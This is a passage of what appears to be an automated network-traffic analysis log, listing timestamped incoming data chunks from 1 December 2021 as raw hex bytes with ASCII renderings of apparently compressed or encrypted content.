f9 Data Ascii: O^i#-P(4~@e@SQfnavGM-v4Mm:ERuD]r1\|d}z_QL-qdM'g{S[/oP:Hm65Ap+k+'I`e;x7z2QPf]r=Z1ZH&(C%ddJ'qk@th,I
2021-12-01 08:15:22 UTC	442	IN	Data Raw: 4c ae 81 bf 5d 6b fa 7f 4e ae 01 a4 f0 04 29 cf 0f 19 ed c0 ff 27 7c d1 eb 0b bf 06 e0 cb 76 cf 24 a9 c8 66 c3 2f b7 28 b3 78 e6 d5 42 28 e1 3f c8 1a a4 51 d5 6e 37 7b 88 22 d2 32 ae 64 9e 12 0a be a4 f0 3e 51 54 ea 86 5a b0 de 86 ee 3f 9f 1b aa 13 0d 7c e1 bd 6d a3 39 8d cf 3a 7c e8 03 17 a5 b4 e6 96 2b 93 e2 15 2b 49 67 b9 ba d5 1b 50 29 63 9e e4 c6 08 fc b9 74 4d 5f e2 4c 19 17 ff 6a 14 0b 50 aa 74 91 1f 9e 19 27 49 5c 33 4f ba d5 7b d8 68 8c a8 9f 6b dc e8 57 0e 6a e5 56 6d 48 30 fc 6f 0b 98 42 8d 1c 99 54 c2 ac e7 3c 30 ea a5 05 2f 7b 0a de 84 76 7d 12 16 fe 93 ea e2 dd 09 aa ce ac e3 c5 65 84 f9 2b df 4c 9d 65 d9 0d 82 a1 a4 e9 75 54 bf ad 97 b4 25 27 ec 12 88 f8 ee ca da 13 c5 f8 cd 82 4a f2 0c d9 40 3b 6a 50 b8 c2 4c ab f8 5e 72 f0 1c b8 30 8d e6 Data Ascii: L]kN)'\|v$f/(xB(?Qn7{"2d>QTZ?\|m9:\|++IgP)ctM_LjPt'I\3O{hkWjVmH0oBT<0/{v}e+LeuT%'J@;jPL^r0
2021-12-01 08:15:22 UTC	443	IN	Data Raw: e7 ee 7f 1b ed 5b 17 f0 8c f0 34 5a 73 3c 55 1c 6e 01 ac 6b bc 38 f4 c1 65 8e 44 9b 57 bf c0 83 32 48 79 af 19 ab 6b c7 bd 05 7e 7d a2 b9 27 f9 70 c1 86 ab 99 f2 05 7a fa 4c 84 03 b6 47 b5 cf e4 67 f3 21 9b 60 1d de 5f fd 79 5d 1e 24 a1 2f ec bf 4c b0 93 56 17 43 bb 11 b8 8d 09 61 12 2d b3 57 49 16 a5 92 97 cd 5a 6e 5d 79 78 73 19 13 5f c7 33 4e 7c 81 5f a0 bf 8f 51 58 d5 5d e6 5e dc 6a 98 7a 83 59 6e 45 ff 57 0c 02 f6 97 30 40 b0 48 1c e7 52 e8 cb a5 0f c7 c1 85 f7 4f 9f 6b 13 5d b3 77 f4 c3 46 d1 fa db 6c 0d a9 fa bd 0d bb e7 2a 77 1c b3 18 b6 cb d6 e2 26 51 63 c2 a5 b6 86 d2 92 9c d5 86 93 0b 8b 8c 33 b4 88 d3 44 b3 e4 d1 06 f3 b7 07 dc 57 b8 68 8e 88 7d 53 51 64 83 81 eb cb 0a 1a 39 d8 07 fa 64 18 35 10 cd df fa 1d 76 49 6d 00 79 77 01 03 ba 6a 0a e8 Data Ascii: [4Zs<Unk8eDW2Hyk~}'pzLGg!`_y]$/LVCa-WIZn]yxs_3N\|_QX]^jzYnEW0@HROk]wFl*w&Qc3DWh}SQd9d5vImywj
2021-12-01 08:15:22 UTC	447	IN	Data Raw: f3 b2 ce eb f1 a6 40 82 5f 1c 70 c6 ac 84 d3 e1 eb 87 5b 0a 9f 3f a0 df 29 48 e3 bf aa 28 09 96 26 cb 00 5b e0 07 97 56 6f 1d 4c e6 70 e1 8c 12 f8 d7 40 ef 77 80 79 ba ef e0 4d ee b8 fc 88 86 6c 57 a0 72 77 db b5 6f b1 59 3c 91 37 f6 9f fc 46 d1 6c 8a ec 07 d9 3a 69 ea eb 4f 17 7e b0 94 14 de 3a 34 4a e5 ed 30 54 ae f8 ec 6c dd 50 02 0a 39 55 7e d1 8d 65 cf a1 65 f7 a1 a6 23 b7 16 75 f2 d3 77 b3 4c e5 de 8b 21 0c 24 98 07 a8 a7 4e 17 bd fd 2c 36 bd 87 df 71 de a7 e3 b2 38 2f 28 9e cb 72 9c 1f 04 29 cf a9 dc ce ba 0d b2 cd 61 a2 7b c7 7c 19 95 36 d6 4c 0b 54 4a 4a ea f8 f7 fb c7 a5 bb 8b 45 5b da 9e 6b cd 2b 35 7c d1 33 a3 ee 7f 75 19 ca 79 6e a7 77 c7 d0 ac 6a e9 35 96 f6 77 67 ac 3f 96 46 e7 3a 49 c6 75 da 25 a3 9c d5 80 3e f9 4f 1d 48 41 ac eb 18 89 08 Data Ascii: @_p[?)H(&[VoLp@wyMlWrwoY<7Fl:iO~:4J0TlP9U~ee#uwL!$N,6q8/(r)a{\|6LTJJE[k+5\|3uynwj5wg?F:Iu%>OHA
2021-12-01 08:15:22 UTC	452	IN	Data Raw: a0 00 5d 84 77 17 3d b2 0e f6 08 f0 b9 d9 6e 5f e2 2c 29 65 9d be 06 4e 51 10 e9 72 1b 79 d1 ac 23 ff d9 33 d7 ef 86 14 cb 9f 88 7b cd c8 0d 1e 21 6f 7b 11 66 19 94 1f 10 87 04 60 4d d4 39 db c3 3c e1 99 5e 38 67 82 8c 71 28 d2 43 1b 21 1d ab 87 32 30 aa 91 dc 30 01 ce f3 30 65 94 8f 73 86 f5 ed 1a de dc 86 ad 66 5c 38 39 53 4f 18 85 04 31 20 fd 75 2c e6 71 b6 b3 6f d7 ab 97 75 4d 91 ae a2 f8 a7 4c b9 d7 e6 9c 90 10 3a 17 2a d4 2d 01 37 e4 d3 7e df 01 67 a9 61 6c 17 18 2f a6 53 72 67 bb 93 3b 0c 63 20 6e 52 5e 85 fd 89 54 29 46 ea f2 b6 ac 20 1c 36 bc 95 44 91 41 25 45 66 d7 e3 98 30 52 47 1e 94 ca 56 53 87 36 36 c4 ed 8b cc 64 b7 6d a2 1d f8 c0 83 5f 7b 90 00 38 8a 2b 35 be d7 f6 02 45 e0 21 ed 2a bd 73 00 ad 01 89 90 b5 ff fd 21 db b7 26 ea 49 06 7b dc Data Ascii: ]w=n_,)eNQry#3{!o{f`M9<^8gq(C!2000esf\89SO1 u,qouML:-7~gal/Srg;c nR^T)F 6DA%Ef0RGVS66dm_{8+5E!s!&I{
2021-12-01 08:15:22 UTC	455	IN	Data Raw: 95 f3 0e 8a d8 40 19 8e e3 cf 6d f2 a3 ad 76 a0 20 25 ce d2 6d b6 15 48 f9 34 10 bc d2 f8 54 00 a3 47 bf 2e ed 6c 63 f0 c0 35 a9 ac 61 1a 1e c5 99 09 bb f0 f5 b7 03 22 89 af 92 12 73 b0 5b 02 1d 87 46 fb bf 30 35 d1 8b bb da 72 d7 29 7c c3 6c 3a b0 ba 6c c8 10 7c cc dd 6a d3 e8 f2 39 f2 de 4e ff fc b0 18 31 dc 0f 99 33 50 26 a1 bc 01 5f 5b cc 02 35 db e4 f9 7a 0c 47 86 e5 6c 80 b7 1d dd cc 4a 63 a7 21 35 25 6d 44 18 1b b5 66 d1 9f 28 84 50 db 98 bd 0a bf d4 ce ae 8c 12 41 9f 9e 4b 32 df 0c 0d 9d 09 21 18 d1 7c 1f 39 ca 91 a5 a8 3e 4e d1 aa ca 6c 08 30 9a 48 0a 9d 93 ea ff 01 62 fa 77 21 87 1d ea 77 28 0a b5 a4 b9 d9 6e c7 da 91 a9 d3 11 a3 c2 51 c4 10 95 67 1e ac 0a 4d 05 78 fe 5c 35 5f b3 1b 5f 4b 74 13 09 d8 80 ad 05 94 2a 6e 33 0e 3d 99 38 d6 34 e1 f7 Data Ascii: @mv %mH4TG.lc5a"s[F05r)\|l:l\|j9N13P&_[5zGlJc!5%mDf(PAK2!\|9>Nl0Hbw!w(nQgMx\5__Kt*n3=84
2021-12-01 08:15:22 UTC	459	IN	Data Raw: 1b e1 40 3d 29 05 4e e8 83 2a 19 50 e3 72 53 f5 7c cf 88 67 da eb d6 4e 57 1a 59 1a 55 12 3b bf 4b 1d 00 96 a2 41 4d 38 c9 f8 8c ff 3c 09 bf 77 c3 8d de fd c2 ce 35 46 6d 72 66 01 f4 9c b8 ff 00 e2 be 53 5b 8d 11 a2 7d 61 34 b0 71 2b 98 dc ee 6a c1 e1 75 20 8e a5 ea fb 46 97 65 ea d7 d7 ee 8e f6 02 26 da e3 b1 9c fb b3 66 a8 ea a9 b1 00 4c b7 1d da c2 aa 33 7c e5 7a 38 4b 17 62 0a 8b 89 87 5a 57 6f 0c 79 1f 35 53 44 e1 b1 c5 db 95 fd 05 af b4 9c ca 1d 51 54 f5 fa 14 5c fd 41 26 88 6b 1b ce e5 ba 43 28 e6 39 03 37 e2 34 76 10 09 02 00 99 d9 b6 ce ce f6 d7 e8 66 c9 d0 e6 f9 3d cf 37 66 a5 70 9c b5 17 db 12 bb 02 8b c2 2e dd 9a ed 89 34 bb 4b b3 ca b0 8f ed fe 9d fa e3 53 f7 a5 80 5d 14 12 9a 3b e8 2e f8 3b 16 b2 75 ac ac 60 9a 15 05 ce 91 d5 18 ea 2f 66 57 Data Ascii: @=)N*PrS\|gNWYU;KAM8<w5FmrfS[}a4q+ju Fe&fL3\|z8KbZWoy5SDQT\A&kC(974vf=7fp.4KS];.;u`/fW
2021-12-01 08:15:22 UTC	463	IN	Data Raw: a8 e6 08 d3 89 f5 6f 5b 57 2c 64 9b f0 de 4c 44 98 eb ec 90 c1 32 bf 08 05 cd 07 a3 ec 32 01 00 cd 45 ae fe 74 e4 f3 26 4a 5c 0b f6 b1 c7 e2 2f 1d 3e b7 67 f3 07 a0 fb 4b 83 6f 44 7b 6f 10 bf ae 51 7f fb 79 d6 ee d7 1f 17 12 9e 41 80 eb f9 41 f0 35 5a 43 03 47 c7 25 e2 de ca c0 64 4b 0e d3 df 38 06 f8 88 c3 70 7f 0f 5e 51 cf ed f7 3a 7d 23 a4 44 a6 4d 0a 07 fa a7 51 4d 24 9a 45 fe 5e f4 b0 f3 82 f4 bb 29 c9 d7 00 64 62 bd d6 cf 2f 11 9a 54 6c 49 77 45 48 1b fe 0d 95 c5 27 1c d6 3f 05 d2 d2 dc 73 12 01 69 40 07 70 94 1f 02 4b ee f2 de 02 08 b4 67 40 1b 77 19 51 59 7a ff 03 a7 2c d3 bc 1a 00 a1 45 d8 f5 d3 d4 2d e2 ce 51 e4 70 8d fb 63 74 49 0e 63 06 04 9a a1 69 96 2e d5 4b e4 9a 08 56 bb c0 c1 2f fc 34 63 57 86 2d 4c 6a 29 f6 67 42 fe d0 4f a9 9b 72 0f 30 Data Ascii: o[W,dLD22Et&J\/>gKoD{oQyAA5ZCG%dK8p^Q:}#DMQM$E^)db/TlIwEH'?si@pKg@wQYz,E-QpctIci.KV/4cW-Lj)gBOr0
2021-12-01 08:15:22 UTC	468	IN	Data Raw: 48 67 12 3c 8e de e0 c2 38 e4 7e 36 3c fc 3a 36 2a a1 f9 58 af ac c3 6f b3 f1 bd 08 6c b7 7c ca 46 3e 41 06 ca 84 26 12 5b 6a 2a 00 56 a4 9e 0a da 45 90 cf 48 7c 9f ef 65 68 93 a8 f2 f2 70 e8 d0 06 16 21 bd 22 23 a0 92 3b c6 38 64 2f 32 f0 64 61 10 2c 36 1c f4 72 36 df 77 2d f6 51 47 67 2a f1 b1 99 6d de af 9c 7f a2 74 8e 2c fa 72 89 f3 e8 c2 1e 08 6b 0d b7 fc 4f a5 f3 a8 4b 03 db 09 0f b8 60 e6 a1 33 6d 4e 39 b2 d1 41 86 98 ca a5 f8 fc 2c 2e dc f8 84 50 21 b2 9f 1f 9f 7a 11 2d 3c 8f 52 15 a1 cf 5c 81 ad 76 b6 ee 2f 75 c5 06 d6 01 b9 2f cf e0 51 2e 82 5e 44 82 86 53 88 17 84 62 2a e8 bf e4 2c ed c4 92 68 90 4b 1f 72 50 bd 61 e6 21 27 7a a5 f2 cc 0e 87 0f 4f b3 c9 16 9d 2e 6d e4 0e d5 ca 48 e6 ec 10 8b b2 14 63 b7 1a 93 93 88 be bf 62 04 d9 22 3a e5 7a a0 Data Ascii: Hg<8~6<:6Xol\|F>A&[jVEH\|ehp!"#;8d/2da,6r6w-QGgmt,rkOK`3mN9A,.P!z-<R\v/u/Q.^DSb,hKrPa!'zO.mHcb":z
2021-12-01 08:15:22 UTC	472	IN	Data Raw: 04 32 16 92 cc fb d9 cd 02 5b 7d ca cc a5 5e 18 05 1b e8 fe 26 f4 0d 5a 9f 34 c3 84 2f 48 42 63 6e f5 22 98 37 a2 90 1c 52 2b 34 8d 49 06 8b 51 38 3f 22 3f c4 57 98 0f ea 43 a7 f8 d4 7f 14 16 9e 22 71 bb 97 45 1c 2c 86 07 c5 3d 21 ba fd b5 6a 91 62 cc 81 5e e5 09 ac 3f 55 c7 e1 ff 89 03 d5 9c 32 d8 28 b1 cd 8e db 11 38 87 44 b7 fb cd 2e 12 4b 26 3f 32 f1 dd 5f fa d4 fe 24 32 cd 66 60 3d f1 4d db 4b 57 4e 19 85 0a d8 e7 86 d0 5f b8 cf 93 8e b9 b0 64 04 ab 45 d6 0a a9 01 a4 c3 a7 4c d3 e1 7d 06 f8 81 f9 c7 db cc c4 4d 54 a5 89 1d 70 be d2 f8 68 51 37 6a fc 12 54 6f 0c d2 47 fd 3d 90 48 78 45 87 d7 51 cf 1d 9a 12 88 11 ed c1 45 69 a9 23 ab 42 24 23 f6 4a 26 85 06 78 12 0e d0 e6 e3 2c e5 c8 51 b7 7c 86 7c cf 13 c1 dc 07 48 69 aa ba f5 ef 4c 43 b8 ef 8c b4 d1 Data Ascii: 2[}^&Z4/HBcn"7R+4IQ8?"?WC"qE,=!jb^?U2(8D.K&?2_$2f`=MKWN_dEL}MTphQ7jToG=HxEQEi#B$#J&x,Q\|\|HiLC
2021-12-01 08:15:22 UTC	476	IN	Data Raw: 2c ba 28 03 22 f2 33 de 9e 35 0b 0e bd a3 11 2b c8 ef 55 68 ea 02 08 1d 9e 2f 61 4d 20 87 51 e0 64 b2 be ae dc 86 8b 89 b7 fe a5 d9 f2 7e 9d 79 1f 2c 1e ab e1 84 1f 2a 8b 5b 16 77 70 b3 72 74 71 45 13 97 c6 8c a5 7d 7e 11 8a d8 23 07 a5 ec f5 9b 91 41 c9 a4 67 76 31 a0 e1 eb 53 55 9d 3c 8c 63 80 d5 81 fd bc af fe d2 32 b4 15 2c a9 6d 07 a9 70 2e b0 bc 8a bd 54 9d d9 4c 80 92 e7 3b 2e 8e cd bd 74 a3 ea 20 11 53 70 cf 91 68 3c 69 34 2e 1f 8e d2 8e 5e 47 fe 62 f2 bc 25 22 5b 36 f4 c6 64 42 06 46 4f 27 eb 14 13 cb 83 58 c7 a3 81 0a fc 54 ee bd b6 b2 5d 53 0b 3d 1d f2 35 28 0a 91 bd 00 5f 96 87 5c 7e 30 33 5c 18 6a ae d3 b6 c7 c3 de 9f a7 b5 1c 0b 05 4a a3 fa 46 02 67 0c cd a5 2e a3 ba 6d 36 09 ce 17 05 57 5a 03 db 6a c9 72 b0 f6 d4 a5 00 d5 31 14 6b c8 64 e4 Data Ascii: ,("35+Uh/aM Qd~y,*[wprtqE}~#Agv1SU<c2,mp.TL;.t Sph<i4.^Gb%"[6dBFO'XT]S=5(_\~03\jJFg.m6WZjr1kd
2021-12-01 08:15:22 UTC	480	IN	Data Raw: ed 42 00 90 e4 a9 e7 19 d2 12 fa f8 25 bf b7 c1 b4 ae 51 20 f9 9f 4b de 91 4d 01 7a ba 2a ce af 4a ff 75 96 7b 0e 81 15 b0 66 10 07 d1 c0 9c 0c c3 06 b4 ae 6a 15 cf f6 42 ec 42 16 66 06 4e 55 f9 e4 30 4d a0 71 f4 a1 e3 77 89 ca 29 1b d9 1a 21 91 8d 71 21 75 05 87 5a aa e1 41 5c 2d 14 a8 54 40 ca 4c a5 47 6d 45 a0 07 58 4d c1 17 6e cc 3d d3 ad 8a ea 9a ae 9c 4a f3 c5 aa 89 ba 90 9f 97 f8 6e a9 7f 34 e6 e9 1b 56 32 e0 8a 76 15 88 cd d2 9a d3 76 7a c9 b9 8e df bb fd 45 07 37 e0 0d 23 91 bd ce f3 03 e0 fb 6e df b3 1d 6d 84 b6 97 53 43 0d 64 1c 96 ed ae da 29 2b 64 42 91 2f 8e 99 70 a7 c4 6a aa 07 b6 53 dc 81 a8 72 35 56 c7 4a cb 8b 12 3d d3 f1 25 08 52 9f 2c 8e 95 da 04 3d 71 fa 9e d5 d4 eb 85 63 7b 90 7e 00 3e dc 7b c1 a9 97 3a 43 fc db 50 33 e5 03 23 a9 51 Data Ascii: B%Q KMz*Ju{fjBBfNU0Mqw)!q!uZA\-T@LGmEXMn=Jn4V2vvzE7#nmSCd)+dB/pjSr5VJ=%R,=qc{~>{:CP3#Q
2021-12-01 08:15:22 UTC	484	IN	Data Raw: d9 f7 ff 85 c7 a7 07 fa 3b ce 24 c8 c7 cf 94 92 e2 e2 55 a7 9c f8 a6 65 1e 9b 6e aa bb cd 23 9e 2d 29 49 d7 29 c2 8c 9a 64 15 a7 2f 43 04 df d4 16 5d e3 6f 75 c9 d6 d5 8e 94 cc 5d 6a 45 99 b2 5d b6 06 e6 5d 7a d5 b5 20 f2 34 e0 e8 a4 90 43 b6 84 9f 3a 7a 82 78 ce 9c 3c f7 06 2b 6a 35 2d eb 8e 8f 8c b0 a9 dd 12 97 fb a8 e2 01 36 44 80 0e 5f 77 e9 be ea 96 5c 99 b2 d7 98 cb 9a 5b 0f 91 8c 38 49 3d 97 66 ee 43 b2 b8 11 1d 2f bc 5c 7d d1 f7 e4 ef 6b cf 48 5b 3c d4 d0 83 3f c9 9a c9 a5 f3 28 1a bc 87 cf 3b 6c 98 f4 b6 5c 4f 41 5a 25 9f a1 af d8 64 cb 72 96 40 b6 26 68 0e da b7 06 07 0c bd 34 5e ea f5 5c 7e 44 38 14 78 8d 5f d3 3c 3a e6 14 6b b2 9c 61 35 70 20 0c 58 c0 85 fb 4a 2e 40 4b 26 a9 9b 62 63 7e 28 4b 45 da f5 5c d5 b3 2d 75 2c 0b cf 93 1c 15 b0 e7 82 Data Ascii: ;$Uen#-)I)d/C]ou]jE]]z 4C:zx<+j5-6D_w\[8I=fC/\}kH[<?(;l\OAZ%dr@&h4^\~D8x_<:ka5p XJ.@K&bc~(KE\-u,
2021-12-01 08:15:22 UTC	487	IN	Data Raw: db 04 5b 91 0f b0 f3 bb 53 32 2b a8 58 9b ed c6 f8 6d a4 a8 a5 56 40 f4 e3 b8 31 43 93 d0 d4 2b b6 87 79 b6 69 e3 f1 4f 42 24 21 66 e2 2d f7 64 40 ce 85 76 0a 3d 37 c6 2e 10 88 9b 02 92 0f 5d 61 4f 98 2b c4 3b d2 7d 8e 35 35 01 8b 02 80 bd 19 98 32 19 d7 33 2a e8 37 2e a7 5a c1 58 5c fc 1c d9 50 c8 10 c3 d1 c8 2f ab 46 ea 9b de d0 e0 8a 4b d1 51 9c fc 49 87 97 1d 88 f4 85 e2 ae d1 73 a0 fb b9 ca ae 86 a3 d9 09 76 60 d1 87 3f 40 63 ee 95 76 01 f4 9b 69 32 a2 1c 01 a4 d0 a8 a0 26 2a 41 14 94 32 47 e3 c9 38 7c c7 6d 09 b7 83 df ab 78 d7 c2 2f d1 ef 72 b9 82 a0 15 b0 5a 77 e2 6d 5d cd 28 69 b0 87 8a 18 b5 a3 a6 a9 6b 6b 17 12 51 23 ff 53 fe 55 6b 92 28 4b 4d 7d 91 4a 02 9e d1 94 2c 2c 13 a9 64 ba cf 60 ed ee 3c 2c c1 a5 cd 4c 05 50 38 26 53 d2 4b a0 05 8d 76 Data Ascii: [S2+XmV@1C+yiOB$!f-d@v=7.]aO+;}55237.ZX\P/FKQIsv`?@cvi2&A2G8\|mx/rZwm](ikkQ#SUk(KM}J,,d`<,LP8&SKv
2021-12-01 08:15:22 UTC	491	IN	Data Raw: 89 cf 96 15 02 b4 9f 94 7d 31 54 e7 5a eb d0 25 63 bb 60 a5 4a 64 06 c2 37 2c b4 2e 35 b0 b4 33 d3 2a 66 c5 ab e1 41 fc ca ab 61 d9 c9 d0 0e 59 42 09 f6 10 fb e4 a8 02 d3 7f 27 06 f8 95 7b 90 0f 7b 93 f1 9d 9b d6 3a a9 06 b6 e8 d2 4a 6a 87 e2 78 24 a4 87 ca e3 22 ce 23 fa 6d b4 77 72 3e c1 18 d6 73 39 18 92 ed 5f 90 41 15 d4 a7 7b 01 cc 08 f2 d1 4c cb 55 9a 3d ff 22 07 49 ea 08 d4 45 05 ec e7 81 7a 14 52 e7 04 20 81 44 a9 c8 2d 4f 24 c2 8d 0e 83 f4 70 f5 d1 2e 52 bc 4a 62 82 87 ef 80 a3 b0 01 5e 4b dd a7 51 dc 02 31 c0 0a cb c7 2d 38 2a 5c a1 93 84 69 97 a6 3a 8a b1 0a 74 3b 19 92 f2 33 31 56 bf 3b e6 61 ab 57 20 ab e9 27 f7 db c0 e3 5e 94 e4 58 ee b0 c5 c7 d2 17 ae 46 dc 57 9c 7e a1 07 7c e9 8d c7 ee 02 b9 2c 4b 6c 82 ec 87 53 98 ee 61 39 8b 3e d4 a9 b0 Data Ascii: }1TZ%c`Jd7,.53fAaYB'{{:Jjx$"#mwr>s9_A{LU="IEzR D-O$p.RJb^KQ1-8\i:t;31V;aW '^XFW~\|,KlSa9>
2021-12-01 08:15:22 UTC	495	IN	Data Raw: c4 eb a3 78 52 4e 41 e7 29 70 57 83 22 e6 d7 7a 8a 94 27 59 cb c9 5f fe fd b4 20 02 0f db 46 dc 0b 1f 2b 60 eb 5c fc dd 75 b8 ac 1e 6d 5b 48 f9 09 49 31 88 fe 63 41 91 6d ef b5 8d dc 6b a8 77 62 0d 98 5f 17 fc ea dc 7b e3 be 73 ea 1b 91 8f 7d 96 e6 c5 36 ab b8 53 cb 94 f6 65 95 bd 37 e0 24 b6 9c c9 f3 38 8c 27 4c ef 85 a4 57 a1 ef 10 87 a4 8a 17 5a f9 4d ac 06 88 8b 9f 79 d5 06 ea 55 9f a3 f1 4d cb af 9a 0d da d5 ae 6e fc d8 cc 46 5a d2 19 33 f9 26 0d ae 67 54 c3 7f 15 16 da 3a af 86 16 f7 0c 1c 94 70 c6 ef a0 93 3e 0e 5f 84 38 8d 3f 69 63 e6 37 32 a1 ba d4 0d e1 61 a1 ec af 1a 0f 9b 37 89 d5 e4 88 60 6e 0a 42 a9 86 38 d1 37 e7 87 04 23 16 f1 00 25 38 1e ab ab d6 37 35 3f fc 81 fc 6f de 7a 50 42 c3 40 f2 5d 6d c1 fa 20 41 42 9f 43 38 62 8a 44 9e f1 23 92 Data Ascii: xRNA)pW"z'Y_ F+`\um[HI1cAmkwb_{s}6Se7$8'LWZMyUMnFZ3&gT:p>_8?ic72a7`nB87#%875?ozPB@]m ABC8bD#
2021-12-01 08:15:22 UTC	500	IN	Data Raw: 92 e7 9a ab 74 02 c8 15 5e 16 ff 42 00 00 52 fd 95 5f bb 76 e6 47 5b f6 f2 01 9c b1 05 d2 d0 2d 91 03 12 24 9e 9e 8c a5 6f 14 81 06 b5 63 ed 2f bb 63 3d dc 68 51 35 37 25 f6 3b 8f 57 a7 0c 9e b2 54 23 03 45 e3 5a dc 76 41 29 30 fe 48 10 bc 6e 1a ac 37 0a 0e f9 7f bd 21 0d 53 88 84 5d 68 eb f2 f1 cb 81 94 f0 70 07 83 18 1f 7b 3d a4 5e 0b 3a df 93 f1 71 87 58 12 98 77 48 63 f4 52 18 d0 f2 da ea 3c d0 2f fc 95 67 41 26 03 97 44 69 8d 98 ca 38 98 3f 83 54 60 3c d9 c4 94 49 7f d6 39 05 21 6d f5 74 89 c8 34 28 09 81 ea 10 cf aa db 7d 32 fe dd dd b5 16 6b 43 e2 d8 5b 2d 02 8b af f7 ac 83 80 e7 68 f2 6d 50 4e 4c fd f2 70 9d 78 08 8f 3e e4 fa bd 6e af 13 5d ee 50 b1 4f 3f 4b ad c9 0b fc 5c 70 c8 0c 6c 76 b0 bf a2 29 0b f1 56 00 e1 18 65 c7 c1 dc 64 bf 86 34 c2 5c Data Ascii: t^BR_vG[-$oc/c=hQ57%;WT#EZvA)0Hn7!S]hp{=^:qXwHcR</gA&Di8?T`<I9!mt4(}2kC[-hmPNLpx>n]PO?K\plv)Ved4\
2021-12-01 08:15:22 UTC	504	IN	Data Raw: b2 4c 61 18 52 d1 22 ee 9c ef 68 dc cb ce e5 4b b8 32 e0 f3 64 aa 30 69 d2 17 e4 8a d3 87 b7 2e db 0d 26 09 82 62 ef ef f1 01 be d2 68 99 06 3b e3 68 cc d4 8e 78 f2 33 04 31 bd 04 97 4f 88 42 34 c0 7d 71 d0 f9 ae 61 4f 19 c2 9b f0 53 35 62 41 93 1a ca 0a e0 09 b5 73 98 ef 9b d5 53 48 5d 06 d7 c5 61 2d 96 85 3a 45 ba 04 6d 43 9f 8f 8d c3 65 20 a3 7c 73 e3 5e 12 48 20 fe a9 df 59 0f b3 d6 5e 7a 8c d2 3c 14 86 14 4b cb 57 49 48 d1 00 f0 9b d5 0a 7c bf d9 ac fa fa 53 f0 1e 7e 49 a3 19 12 23 7c f6 6a 94 9b 2e 80 81 16 97 e8 ea 81 c7 f1 b6 a8 c3 db 93 9c 96 9f cd 58 9c 52 ae 84 e3 33 af d3 0b 9e 31 af 04 55 a9 3d 64 51 9a c0 13 84 c0 04 09 5a 57 1d da fb 45 db 65 cf c7 49 66 42 35 11 b5 ae d8 d2 f6 be 20 43 ab fa 49 37 d8 db 30 f4 8d 0f 59 4e 54 a7 24 79 03 bd Data Ascii: LaR"hK2d0i.&bh;hx31OB4}qaOS5bAsSH]a-:EmCe \|s^H Y^z<KWIH\|S~I#\|j.XR31U=dQZWEeIfB5 CI70YNT$y
2021-12-01 08:15:22 UTC	508	IN	Data Raw: e8 a0 d9 cb 19 67 31 30 45 1e 24 64 14 78 9d 68 44 07 b0 d3 08 88 ca c2 56 79 80 ba 2a 23 8c b5 d5 e8 26 97 81 3d fc d1 0a 28 fd a2 08 87 04 57 47 fa db 58 1f 79 09 da b4 22 fa 58 06 84 1c c7 df ed 54 ba 9e 92 f7 82 92 a5 5f 08 a2 ef a1 36 df 15 af 7c 9d 62 dd 98 70 94 6f cb 6a 7f 6e 4e 27 ed 39 35 0e db 79 e5 f9 30 6e 6f 90 2d 75 03 4d f0 84 f4 86 5b 58 61 a6 14 57 20 d8 cf 5a 5a 32 29 25 f0 9c a6 3d 07 f8 c3 2e c7 34 6a 8a c9 2a 3e 56 c3 37 18 22 90 a0 a4 46 74 ee d1 67 9d f5 6e fd 1d 85 b3 e1 5e 4f 74 bc a3 65 94 9c 0e 24 8b 0b 5a 81 76 b8 10 00 32 bc 5a fc 1e e1 f7 e2 dd 14 70 91 1e 00 3d 7a 8d 1c ff f2 05 15 31 1b 20 c2 5d 25 15 49 be c0 54 bc de 44 45 ee f8 c9 10 ed ee 66 63 bb 7a 09 b6 4c a5 41 be 30 26 2c 32 2d e2 33 b2 b8 df 73 58 0d 41 e6 f6 08 Data Ascii: g10E$dxhDVy#&=(WGXy"XT_6\|bpojnN'95y0no-uM[XaW ZZ2)%=.4j>V7"Ftgn^Ote$Zv2Zp=z1 ]%ITDEfczLA0&,2-3sXA
2021-12-01 08:15:22 UTC	512	IN	Data Raw: 02 a6 1b 16 5f d6 ec 9a 9e 52 fc a3 67 42 48 ae 5c 58 6f 20 1e fe 63 c7 0a d7 06 8c 3e 52 3c 43 b6 e2 3f d1 f0 ee d1 b8 8b 23 48 7d 6c ca b6 f4 ea a0 e8 2b 81 91 20 cf 94 ac c1 a1 62 17 40 26 36 cf 4b 5a 9b e7 c6 95 69 9c a0 bf 5d b1 09 7c 9d a4 27 cf 9f 9a 0d 3b 37 f6 2f 39 67 15 50 85 e3 b0 f4 46 6f 4e 17 d0 f5 23 01 6a a0 e8 2e af 60 0b 81 38 1d 2d 94 9f c7 76 b5 c0 70 d0 60 22 e7 06 62 5d b7 a3 81 a5 97 9c c4 62 98 a8 27 93 98 b0 48 ad f2 b7 3c 2c 39 51 24 fa cf 22 79 ba 1b 14 a4 00 3f 63 35 91 a4 85 66 83 3b 4b c1 fd 30 b9 58 1e 40 87 28 33 b0 86 d2 b8 7c 47 07 99 c6 6f 8e 83 64 c0 fc e7 01 23 fc 0b 11 cd 33 d1 9d 60 06 43 b7 e7 7e cb 5f 8f 39 ce f3 6a 56 b6 9b 63 c5 f7 5d f8 51 01 65 2d 1a 0c b4 42 2c 05 a9 b6 a1 03 5b 90 a9 15 ef bd 5f a5 5c e8 87 Data Ascii: _RgBH\Xo c>R<C?#H}l+ b@&6KZi]\|';7/9gPFoN#j.`8-vp`"b]b'H<,9Q$"y?c5f;K0X@(3\|God#3`C~_9jVc]Qe-B,[_\
2021-12-01 08:15:22 UTC	516	IN	Data Raw: ef 29 6d 73 a0 55 27 9a 50 03 fc 50 75 46 62 40 e1 ab fb 31 c1 1b 54 6d 82 b8 c1 02 ff e8 4b ce bb 84 d2 7a 88 2b fe 79 20 f7 b2 5d 08 50 ff 41 f9 b7 4c 38 89 02 57 92 b6 b7 48 07 8a 00 73 66 d2 a3 1a a2 f6 b0 47 8c ea d1 70 b5 b9 ad 6f ae 95 30 58 ec 08 7e 77 91 f7 8d e6 40 c1 4e 50 07 e1 27 c7 13 02 00 6c 6d 40 45 a6 1b 37 35 1b a6 6d 1a 64 ca 1c 08 53 0f 16 be 28 95 d7 07 af ad 74 a4 e0 6f 38 e2 7c 8a d0 60 37 a1 24 5e 0a a3 1e e3 88 43 07 69 25 09 16 fe 0f 18 20 16 d1 14 4e d7 fa ab e5 72 4d 77 ec 7e 6d 14 b9 58 ef d1 89 56 7c 8f b2 39 64 9d 7c 6c 4c 90 6d 7e 3d 6d 34 bc f8 7c 12 00 ba 2c a5 90 99 2a 43 81 28 fb a2 05 97 f3 f0 4f 03 7e 53 69 00 e6 c8 f2 08 ee 14 3f 0d 71 c0 